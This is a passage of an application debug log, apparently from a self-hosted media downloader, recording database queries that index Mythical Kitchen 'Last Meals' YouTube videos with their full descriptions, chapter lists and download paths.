https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev\n\nGet Mythical Kitchen gadgets and equipment!\n(As an Amazon Associate, we earn from qualifying purchases from paid links below)\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&psc=1\n* Instant Read Thermom (truncated) 20:49:32.372 [debug] QUERY OK source="sources" db=0.0ms idle=2.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:49:32.372 [debug] QUERY OK source="media_items" db=0.0ms idle=1.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-11-13 11:00:13Z], 1] 20:49:32.373 [debug] QUERY OK source="media_items" db=0.5ms idle=1.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, William H. Macy eats his Last Meal.\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nChapters\n0:00 Bill's Last Meal\n1:23 Have You Thought About Your Last Meal Before?\n3:36 How Often Do You Think About Death?\n4:02 1st Course\n4:46 Riding Horses In Africa\n6:46 A Stubborn Vegan\n7:37 Happy Texas\n8:25 Woody Creek Distillery\n9:29 Train Dreams & The American Spirit\n10:52 Defining Wisdom\n12:37 How Bill Picks His Roles\n14:01 2nd Course\n16:08 Shameless Was My 10,000 Hours\n19:48:00 Being An Actor\n22:17 Shameless Mini Golf Field Trip\n25:59 Never Give Up On Your Characters\n26:24 3rd Course\n29:29 Finding The Perfect Side Quest\n34:06 Crying More\n37:08 Visited By The Muse\n38:38 Plans For The Future\n39:29 What Do You Think Happens When You Die?\n40:40 Lightning Round\n43:19 Bill's Last Words\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nSporked: https://www.youtube.com/@sporked/\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.", "William H. Macy Eats His Last Meal", "44a72279-055d-49d3-ba54-28b86e394fcb", "https://www.youtube.com/watch?v=6inDQO2ughI", false, "6inDQO2ughI", 2641, false, 90, "/downloads/Last Meals/2025-11-13 William H. Macy Eats His Last Meal/William H. Macy Eats His Last Meal [6inDQO2ughI].mp4", false, false, 1, [], 1, ~U[2025-11-13 11:00:13Z], ~U[2026-03-28 00:49:32Z], ~U[2026-03-28 00:49:32Z], "Today, William H. Macy eats his Last Meal.\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nChapters\n0:00 Bill's Last Meal\n1:23 Have You Thought About Your Last Meal Before?\n3:36 How Often Do You Think About Death?\n4:02 1st Course\n4:46 Riding Horses In Africa\n6:46 A Stubborn Vegan\n7:37 Happy Texas\n8:25 Woody Creek Distillery\n9:29 Train Dreams & The American Spirit\n10:52 Defining Wisdom\n12:37 How Bill Picks His Roles\n14:01 2nd Course\n16:08 Shameless Was My 10,000 Hours\n19:48:00 Being An Actor\n22:17 Shameless Mini Golf Field Trip\n25:59 Never Give Up On Your Characters\n26:24 3rd Course\n29:29 Finding The Perfect Side Quest\n34:06 Crying More\n37:08 Visited By The Muse\n38:38 Plans For The Future\n39:29 What Do You Think Happens When You Die?\n40:40 Lightning Round\n43:19 Bill's Last Words\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nSporked: https://www.youtube.com/@sporked/\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.", "William H. Macy Eats His Last Meal", "https://www.youtube.com/watch?v=6inDQO2ughI", "6inDQO2ughI", 2641, false, "/downloads/Last Meals/2025-11-13 William H. Macy Eats His Last Meal/William H. Macy Eats His Last Meal [6inDQO2ughI].mp4", false, 1, ~U[2025-11-13 11:00:13Z]] 20:49:32.373 [debug] QUERY OK source="sources" db=0.0ms idle=1.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:49:32.373 [debug] QUERY OK source="media_items" db=0.0ms idle=1.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-09-10 10:00:24Z], 1] 20:49:32.374 [debug] QUERY OK source="media_items" db=0.7ms idle=1.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Terry Crews is eating his last meal.\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\n0:00 Terry's Last Meal\n1:13 Have You Thought About Your Last Meal Before?\n1:52 1st Course\n3:20 Growing Up In Church\n4:52 Michael Meyers Jesus\n7:43 2nd Course\n8:10 Cedar Point & BBQ\n10:45 Imagining His Own Movies\n12:04 Shifting Focus To Enjoy The Now\n14:17 3rd Course\n15:25 Retiring From The NFL\n17:17 Discovering Smoothies\n18:13 Working Out To Face His Father\n25:22 4th Course\n27:33 Finding True Power\n29:25 Working With Adam Sandler\n31:12 5th Course\n33:19 Learning Morality From Star Wars\n35:27 Forgiving Parents & Reparing Your Own House\n38:33 6th Course\n40:35 What Does Dying Feel Like?\n44:28 Lightning Round\n47:27 Terry's Last Words\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev\n\nGet Mythical Kitchen gadgets and equipment!\n(As an Amazon Associate, we earn from qualifying purchases from paid links below)\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&psc=1\n* Instant Read Thermometer - https://www.amazon.com/dp/B01F59K0IW/ref=twister_B00NMQGAPS?_encoding=UTF8&psc=1\n* Immersion Blender - https://www.amazon.com/gp/product/B01J1AWUR0/ref=ox_sc_act_title_1?smid=ATVPDKIKX0DER&psc=1\n* Dehydrator - https://www.amazon.com/gp/product/B01M6AZ863/ref=ox_sc_act_title_1?smid=A2L77EE7U53NWQ&psc=1\n* Vitamix Blender - https://www.amazon.com/gp/product/B0758JHZM3/ref=ox_sc_act_title_2?smid=ATVPDKIKX0DER&psc=1\n* Food Processor - https://www.amazon.com/Cuisinart-DFP-14BCNY-Processor-Brushed-Stainless/dp/B01AXM4WV2?ref_=ast_sto_dp&th=1&psc=1\n* Kitchen Aid Stand Mixer - https://www.amazon.com/dp/B07QBDMCKH/ref=twister_B07XKC8VN4?_encoding=UTF8&psc=1\n* Kitchen AidPasta Attachment - https://www.amazon.com/KitchenAid-KSMPEXTA-Gourmet-Attachment-Interchangeable/dp/B01ENK4UV2?ref_=ast_sto_dp\n* Spice Grinder - https://www.amazon.com/KRUPS-Electric-Coffee-Grinder-Stainless/dp/B00004SPEU?ref_=ast_bbp_dp&th=1&psc=1", "Terry Crews Eats His Last Meal", "73f5b4b6-ce69-4ec6-bdde-8ff51b10463c", "https://www.youtube.com/watch?v=DUsUx-Hhiyo", false, "DUsUx-Hhiyo", 2935, false, 91, "/downloads/Last Meals/2024-09-10 Terry Crews Eats His Last Meal/Terry Crews Eats His Last Meal [DUsUx-Hhiyo].mp4", false, false, 1, [], 1, ~U[2024-09-10 10:00:24Z], ~U[2026-03-28 00:49:32Z], ~U[2026-03-28 00:49:32Z], "Today, Terry Crews is eating his last meal.\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\n0:00 Terry's Last Meal\n1:13 Have You Thought About Your Last Meal Before?\n1:52 1st Course\n3:20 Growing Up In Church\n4:52 Michael Meyers Jesus\n7:43 2nd Course\n8:10 Cedar Point & BBQ\n10:45 Imagining His Own Movies\n12:04 Shifting Focus To Enjoy The Now\n14:17 3rd Course\n15:25 Retiring From The NFL\n17:17 Discovering Smoothies\n18:13 Working Out To Face His Father\n25:22 4th Course\n27:33 Finding True Power\n29:25 Working With Adam Sandler\n31:12 5th Course\n33:19 Learning Morality From Star Wars\n35:27 Forgiving Parents & Reparing Your Own House\n38:33 6th Course\n40:35 What Does Dying Feel Like?\n44:28 Lightning Round\n47:27 Terry's Last Words\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev\n\nGet Mythical Kitchen gadgets and equipment!\n(As an Amazon Associate, we earn from qualifying purchases from paid links below)\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&psc=1\n* Instant Read Thermometer - https://www.amazon.com (truncated) 20:49:32.374 [debug] QUERY OK source="sources" db=0.0ms idle=1.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:49:32.374 [debug] QUERY OK source="media_items" db=0.0ms idle=1.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-01-09 11:00:22Z], 1] 20:49:32.375 [debug] QUERY OK source="media_items" db=0.8ms idle=1.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Josh is cooking Gordon Ramsay's last meal.\n\nWe’re going on tour!! Visit https://goodmythicaltour.com for info & tickets:\nMythical Society Presale: January 10 - 11, 2024\nGeneral Onsale: January 12, 2024\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\n0:00 Gordon's Last Meal Menu\n0:29 The Controversial Grilled Cheese\n1:43 Rehearsal For The Funeral\n2:38 1st Course - Full English Breakfast\n3:00 Growing Up In Government Housing\n4:05 Chefs & Athletes\n5:55 Never Pick A Favorite Child\n6:54 The Hot Ones Wings\n7:19 2nd Course - Butter Chicken, In-N-Out, & Buffalo Wings\n8:03 Seeking Adventure & Memento Mori\n8:46 Gordon Loves In-N-Out\n10:04 Fondness for Fish Head Curry\n12:05 Hungry for New Techniques\n13:02 Motivation vs. Abuse\n14:46 Depression in The Restaurant Industry\n17:14 Toxic Work Environments\n19:25 US Culinary Schools Are Depressing\n20:20 Kitchen Nightmares\n21:28 3rd Course - Beef Wellington & Gin & Tonic\n23:57 Wellington Criticism from Mrs. Ramsay\n24:59 Get Drunk At Gordon's Funeral\n25:45 Gordon Is Too Busy To Think About Death\n27:33 Chefs Have The Worst Eating Habits\n28:15 Josh Almost Worked In Restaurants\n30:16 Gordon Loves the Pressure\n31:04 4th Course - Sticky Toffee Pudding & Deep Fried Mars Bar\n32:40 Gordon's Hardworking Mom\n31:33 Lessons On Parenting\n35:57 Connection Through Grief\n36:58 Gordon's Cooking Legacy\n37:53 Who's The One Person You'd Want To Share Your Last Meal With?\n38:00 What Song Do You Want Played At Your Funeral?\n38:13 Who Is The One Footballer You Wish You Could Have Slide-Tackled?\n38:24 What's Your Biggest Fear?\n38:29 How Many Jamie Olivers Could You Beat In A Fight?\n38:42 What's Your Greatest Regret?\n38:52 Which Burbank Parking Lot Would You Like To Wrestle Josh In?\n39:20 Gordon's Last Words\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev\n\nGet Mythical Kitchen gadgets and equipment!\n(As an Amazon Associate, we earn from qualifying purchases from paid links below)\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&psc=1\n* Instant Read Thermometer - https://www.amazon.com/dp/B01F59K0IW/ref=twister_B00NMQGAPS?_encoding=UTF8&psc=1\n* Immersion Blender - https://www.amazon" <> ..., "Gordon Ramsay Eats His Last Meal", "56cf91e1-ee66-458a-800c-e841eb42720f", "https://www.youtube.com/watch?v=ENhfIeZF_AY", false, "ENhfIeZF_AY", 2388, false, 92, "/downloads/Last Meals/2024-01-09 Gordon Ramsay Eats His Last Meal/Gordon Ramsay Eats His Last Meal [ENhfIeZF_AY].mp4", false, false, 1, [], 1, ~U[2024-01-09 11:00:22Z], ~U[2026-03-28 00:49:32Z], ~U[2026-03-28 00:49:32Z], "Today, Josh is cooking Gordon Ramsay's last meal.\n\nWe’re going on tour!! Visit https://goodmythicaltour.com for info & tickets:\nMythical Society Presale: January 10 - 11, 2024\nGeneral Onsale: January 12, 2024\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\n0:00 Gordon's Last Meal Menu\n0:29 The Controversial Grilled Cheese\n1:43 Rehearsal For The Funeral\n2:38 1st Course - Full English Breakfast\n3:00 Growing Up In Government Housing\n4:05 Chefs & Athletes\n5:55 Never Pick A Favorite Child\n6:54 The Hot Ones Wings\n7:19 2nd Course - Butter Chicken, In-N-Out, & Buffalo Wings\n8:03 Seeking Adventure & Memento Mori\n8:46 Gordon Loves In-N-Out\n10:04 Fondness for Fish Head Curry\n12:05 Hungry for New Techniques\n13:02 Motivation vs. Abuse\n14:46 Depression in The Restaurant Industry\n17:14 Toxic Work Environments\n19:25 US Culinary Schools Are Depressing\n20:20 Kitchen Nightmares\n21:28 3rd Course - Beef Wellington & Gin & Tonic\n23:57 Wellington Criticism from Mrs. Ramsay\n24:59 Get Drunk At Gordon's Funeral\n25:45 Gordon Is Too Busy To Think About Death\n27:33 Chefs Have The Worst Eating Habits\n28:15 Josh Almost Worked In Restaurants\n30:16 Gordon Loves the Pressure\n31:04 4th Course - Sticky Toffee Pudding & Deep Fried Mars Bar\n32:40 Gordon's Hardworking Mom\n31:33 Lessons On Parenting\n35:57 Connection Through Grief\n36:58 Gordon's Cooking Legacy\n37:53 Who's The One Person You'd Want To Share Your Last Meal With?\n38:00 What Song Do You Want Played At Your Funeral?\n38:13 Who Is The One Footballer You Wish You Could Have Slide-Tackled?\n38:24 What's Your Biggest Fear?\n38:29 How Many Jamie Olivers Could You Beat In A Fight?\n38:42 What's Your Greatest Regret?\n38:52 Which Burbank Parking Lot Would You Like To Wrestle Josh In?\n39:20 Gordon's Last Words\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythi (truncated) 20:49:32.376 [debug] QUERY OK source="sources" db=0.1ms idle=2.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:49:32.376 [debug] QUERY OK source="media_items" db=0.1ms idle=1.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-03-03 11:00:28Z], 1] 20:49:32.377 [debug] QUERY OK source="media_items" db=0.7ms idle=1.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Priyanka Chopra Jonas eats her last meal.\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nCHAPTERS \n0:00 Priyanka's Last Meal\n0:20 Winner of the May Queen Ball \n2:20 Have You Thought About Your Last Meal Before?\n4:27 1st Course\n6:07 Hot Dogs, Hot Pockets, & a Hot Boy with Green Hair\n7:17 From India to Iowa\n9:30 Learning From Parents\n13:27 The Serendipitous Nature of the Universe\n14:55 2nd Course\n15:20 Kebab History\n20:44 Priyanka's First Movie\n21:45 Relationship to Religion\n24:00 Bollywood is not a Genre\n27:00 3rd Course\n29:40 Miss World Pageant Riddle\n31:56 How Far Would a Woman Go To Protect Her Family?\n34:18 Badass Female Pirates\n36:29 4th Course\n38:59 \"My Dad Was My Biggest Champion\"\n42:47 Nick Is a Wise Soul\n44:19 5th Course\n45:40 Love in Every Lifetime\n49:10 What Do You Think Happens When You Die?\n50:19 Lightning Round\n51:43 Priyanka's Last Words\n\nPick up official Mythical Kitchen merch at https://mythic.al/shop-kitchen\n\nJoin the Mythical Society: https://mythic.al/yt-msoc\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nA Hot Dog Is A 